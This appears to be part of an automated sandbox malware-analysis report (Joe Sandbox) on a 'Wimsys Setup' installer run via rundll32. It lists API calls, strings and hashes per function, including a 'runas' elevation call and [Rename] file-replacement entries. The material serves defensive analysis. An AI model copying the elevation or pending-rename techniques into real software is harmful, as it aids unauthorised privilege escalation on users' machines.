SendMessageW.USER32(00000000,00001026,00000000,?), ref: 03456765
SendMessageW.USER32(00000000,00001024,00000000,?), ref: 03456777
ShowWindow.USER32(00000000,?), ref: 0345679A
ShowWindow.USER32(00000000,00000008), ref: 034567AC
GetDlgItem.USER32(?,000003EC), ref: 034567CB
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 034567DF
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 034567FA
SendMessageW.USER32(00000000,00002001,00000000,?), ref: 03456807
ShowWindow.USER32(00000000), ref: 0345688C
ShowWindow.USER32(00000000,00000008), ref: 03456891
GetDlgItem.USER32(?,000003F8), ref: 034566DF

Part of subcall function 0345513D: SendMessageW.USER32(00000028,?,00000001,03455939), ref: 03455148

GetDlgItem.USER32(?,000003EC), ref: 03456824
CreateThread.KERNEL32(00000000,00000000,Function_000065E0,00000000), ref: 03456832
CloseHandle.KERNEL32(00000000), ref: 03456839
ShowWindow.USER32(00000008), ref: 034568CC
SendMessageW.USER32(00000000,00001004,00000000,00000000), ref: 03456910
CreatePopupMenu.USER32 ref: 03456922
AppendMenuW.USER32(?,00000000,00000001,00000000), ref: 03456940
GetWindowRect.USER32(00000000,?), ref: 0345695E
TrackPopupMenu.USER32(?,00000180,?,?,00000000,?,00000000), ref: 0345697A
SendMessageW.USER32(00000000,00001073,?,?), ref: 034569AD
OpenClipboard.USER32(00000000), ref: 034569BD
EmptyClipboard.USER32 ref: 034569C3
GlobalAlloc.KERNEL32(00000042,00000000), ref: 034569CF
GlobalLock.KERNEL32(00000000), ref: 034569DC
SendMessageW.USER32(00000000,00001073,00000000,?), ref: 034569F8
GlobalUnlock.KERNEL32(00000000), ref: 03456A1B
SetClipboardData.USER32(0000000D,00000000), ref: 03456A26
CloseClipboard.USER32 ref: 03456A2C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: 2e890d58e43795f35bd0ac20afc96e8e6ee0ae1a21b4676973be302093511f85
Instruction ID: 260b88109f08f22f4112e3d8026900ce8163c5656e7e1d17fab1b3d895f333eb
Opcode Fuzzy Hash: 2e890d58e43795f35bd0ac20afc96e8e6ee0ae1a21b4676973be302093511f85
Instruction Fuzzy Hash: DDB1C270A04300AFE310EF25DC88E6BBBEDFF88740F41181AFA45AE292D7749805CB65

Uniqueness

Uniqueness Score: -1.00%

Function 034553F6 Relevance: 45.7, APIs: 22, Strings: 4, Instructions: 221windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,?,00000001), ref: 0345549F
EnableWindow.USER32(?), ref: 034554AC
GetDlgItem.USER32(?,000003E8), ref: 034554B8
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 034554D5
GetSysColor.USER32(FFFFFFF1), ref: 034554E6
SendMessageW.USER32(00000000,00000443,00000000,FFFFFFF1), ref: 034554F4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 03455502
lstrlenW.KERNEL32(?), ref: 03455508
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 03455516
SendMessageW.USER32(00000000,00000449,?,?), ref: 0345552D
GetDlgItem.USER32(?,0000040A), ref: 03455583
SendMessageW.USER32(00000000), ref: 0345558A
EnableWindow.USER32(00000000), ref: 034555A7
GetDlgItem.USER32(0000004E,000003E8), ref: 034555CB
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 0345561A
LoadCursorW.USER32(00000000,00007F02), ref: 0345562C
SetCursor.USER32(00000000), ref: 03455635
ShellExecuteExW.SHELL32(?), ref: 03455678
LoadCursorW.USER32(00000000,00007F00), ref: 03455684
SetCursor.USER32(00000000), ref: 03455687
SendMessageW.USER32(00000111,00000001,00000000), ref: 034556AF
SendMessageW.USER32(00000010,00000000,00000000), ref: 034556C5

Strings

<, xrefs: 0345566C
N, xrefs: 034555B7
open, xrefs: 0345565C
Exec, xrefs: 034555FF

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: MessageSend$Cursor$Item$EnableLoadWindow$ButtonCheckColorExecuteShelllstrlen
String ID: <$Exec$N$open
API String ID: 3270077613-1011106380
Opcode ID: d9c6e36cb367f1bfc5362bd7f0b2f3863228bd164b3635050cefbaefe8dcd3d9
Instruction ID: 80733c022618d8e2f8eb02db123411350a24c8cab27ddce5cbd944d276b314ce
Opcode Fuzzy Hash: d9c6e36cb367f1bfc5362bd7f0b2f3863228bd164b3635050cefbaefe8dcd3d9
Instruction Fuzzy Hash: D581ADB0A09348AFEB10EF25DC44A2B7BE8FB85354F00085EF946AE351D774A904CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 03457DCD Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 03457E0E
BeginPaint.USER32(?,?), ref: 03457E29
GetClientRect.USER32(?,?), ref: 03457E3C
CreateBrushIndirect.GDI32(00000000), ref: 03457EC7
FillRect.USER32(00000000,?,00000000), ref: 03457EDB
DeleteObject.GDI32(00000000), ref: 03457EE2
CreateFontIndirectW.GDI32(032ABFC8), ref: 03457F08
SetBkMode.GDI32(00000000,00000001), ref: 03457F2B
SetTextColor.GDI32(00000000,FFFFFFFF), ref: 03457F35
SelectObject.GDI32(00000000,00000000), ref: 03457F43
DrawTextW.USER32(00000000,Wimsys Setup,000000FF,?,00000820), ref: 03457F59
SelectObject.GDI32(00000000,00000000), ref: 03457F61
DeleteObject.GDI32(?), ref: 03457F67
EndPaint.USER32(?,?), ref: 03457F76

Strings

F, xrefs: 03457DF4
Wimsys Setup, xrefs: 03457F53

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Wimsys Setup
API String ID: 941294808-3733406751
Opcode ID: 4d0d51f7e285fd15758d0d9b4ff42b44950d93e6b411f9f6839186678021432d
Instruction ID: 95eee1d64c82cb7fec88f5469306d478afe2c350d8dce65d5ebe538e129bb73f
Opcode Fuzzy Hash: 4d0d51f7e285fd15758d0d9b4ff42b44950d93e6b411f9f6839186678021432d
Instruction Fuzzy Hash: A251B0B24083A09FC705DF25C84496BBBE8FF88315F144A1EF895AB291C734D919CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 034644E5 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(03490678,00000FA0,?,?,034644C3), ref: 034644F1
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,034644C3), ref: 034644FC
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,034644C3), ref: 0346450D
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0346451F
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0346452D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,034644C3), ref: 03464550
DeleteCriticalSection.KERNEL32(03490678,00000007,?,?,034644C3), ref: 0346456C
CloseHandle.KERNEL32(00000000,?,?,034644C3), ref: 0346457C

Strings

SleepConditionVariableCS, xrefs: 03464519
api-ms-win-core-synch-l1-2-0.dll, xrefs: 034644F7
kernel32.dll, xrefs: 03464508
WakeAllConditionVariable, xrefs: 03464525

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 1f0ebcc64f5a041c1894d7acb13576ca22c1bfc53b3ccee6129f60f5efc91de3
Instruction ID: 87baacdaf53e0fab0402776537954d343d2bd7b83e51bfbc303c0175290eafec
Opcode Fuzzy Hash: 1f0ebcc64f5a041c1894d7acb13576ca22c1bfc53b3ccee6129f60f5efc91de3
Instruction Fuzzy Hash: EC017576651311AFEB20BF76AC1DB6F7AD8AB80B40B040117BA15FE308DF70CC048A65

Uniqueness

Uniqueness Score: -1.00%

Function 0345AD50 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 155COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0345AD6E
std::_Lockit::_Lockit.LIBCPMT ref: 0345AD89
std::_Lockit::~_Lockit.LIBCPMT ref: 0345ADA9
std::_Lockit::~_Lockit.LIBCPMT ref: 0345ADFF
std::_Facet_Register.LIBCPMT ref: 0345AF08
std::_Lockit::~_Lockit.LIBCPMT ref: 0345AF20
Concurrency::cancel_current_task.LIBCPMT ref: 0345AF2E
Concurrency::cancel_current_task.LIBCPMT ref: 0345AF33
Concurrency::cancel_current_task.LIBCPMT ref: 0345AF38

Strings

true, xrefs: 0345AED7
false, xrefs: 0345AEB1

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLockit::~_$Lockit::_$Facet_Register
String ID: false$true
API String ID: 1941589060-2658103896
Opcode ID: d0918307383e94e302ec4778b3517729c8a602360855ad73e03e564f288cd9fb
Instruction ID: 502cc6aeeae4821adb291e566fe5097ab310ed36b9ee56e83fcb06437a549c03
Opcode Fuzzy Hash: d0918307383e94e302ec4778b3517729c8a602360855ad73e03e564f288cd9fb
Instruction Fuzzy Hash: C751AE79A003049FCB25EF69D580BAAB7E4EF00300F14455FEC45AF352D731A949CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0345C780 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0345C8E0: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,0345C503), ref: 0345C91D
Part of subcall function 0345C8E0: CheckTokenMembership.ADVAPI32(00000000,0345C503,00000000), ref: 0345C92F
Part of subcall function 0345C8E0: GetLastError.KERNEL32 ref: 0345C939
Part of subcall function 0345C8E0: FreeSid.ADVAPI32(0345C503), ref: 0345C949

GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 0345C7C5
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,00000000), ref: 0345C7D9
ShellExecuteExW.SHELL32(0000003C), ref: 0345C859
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 0345C863
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,00000000), ref: 0345C878
GetExitCodeProcess.KERNEL32(?,?), ref: 0345C895
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 0345C8A1

Strings

<, xrefs: 0345C7EF
runas, xrefs: 0345C807
@, xrefs: 0345C84F

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ErrorLast$AllocateCheckCloseCodeCurrentDirectoryExecuteExitFileFreeHandleInitializeMembershipModuleNameObjectProcessShellSingleTokenWait
String ID: <$@$runas
API String ID: 281378056-2740324054
Opcode ID: ef7dd9737396bf59b032e0475d926aa32304b03a26368d718c0bdf763923e3df
Instruction ID: c8aa7ea2998beca195374fa225b0f3b2c458b90e310825760a7d606e1f393629
Opcode Fuzzy Hash: ef7dd9737396bf59b032e0475d926aa32304b03a26368d718c0bdf763923e3df
Instruction Fuzzy Hash: 7031EDB590131C9FDF20EF50DC88BD9B7B8EB04355F5041EAEA09AA281DB745A88CF59

Uniqueness

Uniqueness Score: -1.00%

Function 03452964 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 129memorystringCOMMON

Download Yara Rule

APIs

GetShortPathNameW.KERNEL32(00000000,034B11F0,00000400), ref: 034529A8
GetShortPathNameW.KERNEL32(00000000,034B09F0,00000400), ref: 034529C2
wsprintfA.USER32 ref: 034529E4
GetFileSize.KERNEL32(00000000,00000000,00000004), ref: 03452A2E

Part of subcall function 034526F0: lstrlenA.KERNEL32([Rename],00000000,00000000,00000000,00000000,?,03452A64,00000000), ref: 03452706
Part of subcall function 034526F0: lstrlenA.KERNEL32(00000000,?,03452A64,00000000), ref: 0345270B
Part of subcall function 034526F0: lstrlenA.KERNEL32(00000000,?,03452A64,00000000), ref: 03452741

GlobalAlloc.KERNEL32(00000040,0000000A), ref: 03452A3E
lstrcpyA.KERNEL32(00000000,[Rename],00000000), ref: 03452A71
GlobalFree.KERNEL32(00000000), ref: 03452AA3

Part of subcall function 03452797: GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 034527BB
Part of subcall function 03452797: CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 034527D4
Part of subcall function 03452797: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 034527EC
Part of subcall function 03452797: lstrcmpW.KERNEL32(003A0043,?), ref: 034527F8

Part of subcall function 0345219D: CloseHandle.KERNEL32(00000000,034529A1,00000001,00000000,00000000,?,00000001,03452AFD), ref: 034521B4

Strings

[Rename], xrefs: 03452A58, 03452A68
%ls=%ls, xrefs: 034529DA

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: File$Namelstrlen$GlobalPathShort$AllocAttributesCloseCreateFreeHandleModuleSizelstrcmplstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 3231248955-461813615
Opcode ID: c72f8e09a7debd37c3b09d24d2906050ded5331e8d5d942cbe646922294bf737
Instruction ID: 0f80ecccacc9f858e4610d27b430122993466e4abeda9ae7bf2cba3a608eadda
Opcode Fuzzy Hash: c72f8e09a7debd37c3b09d24d2906050ded5331e8d5d942cbe646922294bf737
Instruction Fuzzy Hash: F3312935B002116FD724F62A8C54F6F729AEB84550F184D2BFD15AF34BEBE09C0682AC

Uniqueness

Uniqueness Score: -1.00%

Function 0345BDB0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0345BE1A
std::_Lockit::_Lockit.LIBCPMT ref: 0345BE37
std::_Lockit::~_Lockit.LIBCPMT ref: 0345BE58
std::_Facet_Register.LIBCPMT ref: 0345BF09
std::_Lockit::~_Lockit.LIBCPMT ref: 0345BF21

Strings

ios_base::failbit set, xrefs: 0345C021, 0345C03D
ios_base::badbit set, xrefs: 0345C018
ios_base::eofbit set, xrefs: 0345C026

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 459529453-1866435925
Opcode ID: da25c132a528093f2c1a891bbc278e90ed840e9aee85466a511467216f2ddb52
Instruction ID: 57dcc45263c19d6b2b9c40deec7423d5a1128e30c3acf91a44db900a0ef7578b
Opcode Fuzzy Hash: da25c132a528093f2c1a891bbc278e90ed840e9aee85466a511467216f2ddb52
Instruction Fuzzy Hash: 4B815975E002049FCB18DF99D984AAEB7F5FF48310F18805AE915AF362DB31AD05CB99

Uniqueness

Uniqueness Score: -1.00%

Function 034716D6 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,?,?,0346B0A0), ref: 034716EF

Strings

pow, xrefs: 0347178D, 03471837, 03471884
log, xrefs: 0347174C, 0347175B
acos, xrefs: 03471825
log10, xrefs: 03471731, 03471740
exp, xrefs: 0347176E, 034717D3
sqrt, xrefs: 0347182E
asin, xrefs: 0347181C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 7d7f3faa131ae549ef1d9e75e9686d19853d54c6c357bf28fb2543c26878dca1
Instruction ID: 03b257bc5baba3e9d23d12e4fe0a89aea059d2e1176fd98ad5547181d76f1ce1
Opcode Fuzzy Hash: 7d7f3faa131ae549ef1d9e75e9686d19853d54c6c357bf28fb2543c26878dca1
Instruction Fuzzy Hash: 8F515D7990050ACBCB14EF99E9481EEBBB4FB45300F4A4197D891AE358CB39852ACB5D

Uniqueness

Uniqueness Score: -1.00%

Function 03467AD2 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 03467BF1
___TypeMatch.LIBVCRUNTIME ref: 03467CFF
_UnwindNestedFrames.LIBCMT ref: 03467E51
CallUnexpected.LIBVCRUNTIME ref: 03467E6C

Strings

csm, xrefs: 03467C28
csm, xrefs: 03467B0F
csm, xrefs: 03467B7C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 3d2b30db1fe68b57a2eac905d54426edd597b7ffefd39623dc8aa9e9349cf5b6
Instruction ID: 4eb23bdc398586a892769e200e387498dba99b9d95bfa14586597c291626cf1d
Opcode Fuzzy Hash: 3d2b30db1fe68b57a2eac905d54426edd597b7ffefd39623dc8aa9e9349cf5b6
Instruction Fuzzy Hash: 85B17975800209EFCF15DFA5C8809AEBBB9FF04318B18459BE8156F311D731EA61CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 03463E12 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 03463E5B
__alloca_probe_16.LIBCMT ref: 03463E87
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 03463EC6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03463EE3
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03463F22
__alloca_probe_16.LIBCMT ref: 03463F3F
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03463F81
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 03463FA4

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: b0736a968bfc3512073fa8b6a7daa7e9ee8a3b3bdc31656984e1badb1257b280
Instruction ID: fdcf3522d3a9bec48e7d89abda20e0cab2e6972bd6322f053fef73c407e5ece6
Opcode Fuzzy Hash: b0736a968bfc3512073fa8b6a7daa7e9ee8a3b3bdc31656984e1badb1257b280
Instruction Fuzzy Hash: DA51A07A600246BFDF24DF65CC44FABBBB9EF44750F18402AF915AE2A0D73188058B65

Uniqueness

Uniqueness Score: -1.00%

Function 03455165 Relevance: 12.1, APIs: 8, Instructions: 66COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0345518E
GetSysColor.USER32(00000000), ref: 034551A3
SetTextColor.GDI32(?,00000000), ref: 034551B1
SetBkMode.GDI32(?,?), ref: 034551BB
GetSysColor.USER32(?), ref: 034551CE
SetBkColor.GDI32(?,?), ref: 034551DF
DeleteObject.GDI32(?), ref: 034551FA
CreateBrushIndirect.GDI32(?), ref: 03455204

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: dcab1a41c8b8a63e05fc9d414d8fadfad42288f7f8486b341d6b2f5c5d84315d
Instruction ID: 844161d3d5e602bf9bb5b24261f46df236656c3fe8bee4f1130e12cc7ce92143
Opcode Fuzzy Hash: dcab1a41c8b8a63e05fc9d414d8fadfad42288f7f8486b341d6b2f5c5d84315d
Instruction Fuzzy Hash: 32212A709017449BC721EF68D848B7BBBF8BF06604B08895DF892EA655D734A5088F65

Uniqueness

Uniqueness Score: -1.00%

Function 034675A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 034675D7
___except_validate_context_record.LIBVCRUNTIME ref: 034675DF
_ValidateLocalCookies.LIBCMT ref: 03467668
__IsNonwritableInCurrentImage.LIBCMT ref: 03467693
_ValidateLocalCookies.LIBCMT ref: 034676E8

Strings

csm, xrefs: 0346767D

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3f8783c9e69e402cad83327f0ad04eb2912a792afaf6deca4512e253db8d0266
Instruction ID: 837d6b5fc94ddc40b2d84b78cb46775d480ba627f5812e512048487357b9b105
Opcode Fuzzy Hash: 3f8783c9e69e402cad83327f0ad04eb2912a792afaf6deca4512e253db8d0266
Instruction Fuzzy Hash: 2F41A634A002199FCF10EF6DC884A9FBFA5AF45228F14819BD8149F361D771D915CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0345AC00 Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0345AC15
std::_Lockit::_Lockit.LIBCPMT ref: 0345AC30
std::_Lockit::~_Lockit.LIBCPMT ref: 0345AC50
std::_Lockit::~_Lockit.LIBCPMT ref: 0345ACA9
__Getctype.LIBCPMT ref: 0345ACFC
std::_Facet_Register.LIBCPMT ref: 0345AD24
std::_Lockit::~_Lockit.LIBCPMT ref: 0345AD3C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_GetctypeRegister
String ID:
API String ID: 2525760861-0
Opcode ID: 1a47d8d7319cf46c35fc0a8d053d146a5a9723792602c0232daa69d157449137
Instruction ID: 80bc42efb472299f8794bb12dcee0039b7655c59357f7d8edbc4f9d38013f4f7
Opcode Fuzzy Hash: 1a47d8d7319cf46c35fc0a8d053d146a5a9723792602c0232daa69d157449137
Instruction Fuzzy Hash: 0941C375D002188FCB26EF58D480AAAB3A4EF10314F18415FEC56AF312D731ED45CB99

Uniqueness

Uniqueness Score: -1.00%

Function 034564EE Relevance: 10.6, APIs: 7, Instructions: 80stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(034B6278,?,?,00000000,?), ref: 03456523
lstrlenW.KERNEL32(?), ref: 03456532
lstrcatW.KERNEL32(034B6278,?), ref: 0345654E
SetWindowTextW.USER32(034B6278), ref: 03456567
SendMessageW.USER32 ref: 0345658E
SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 034565A9
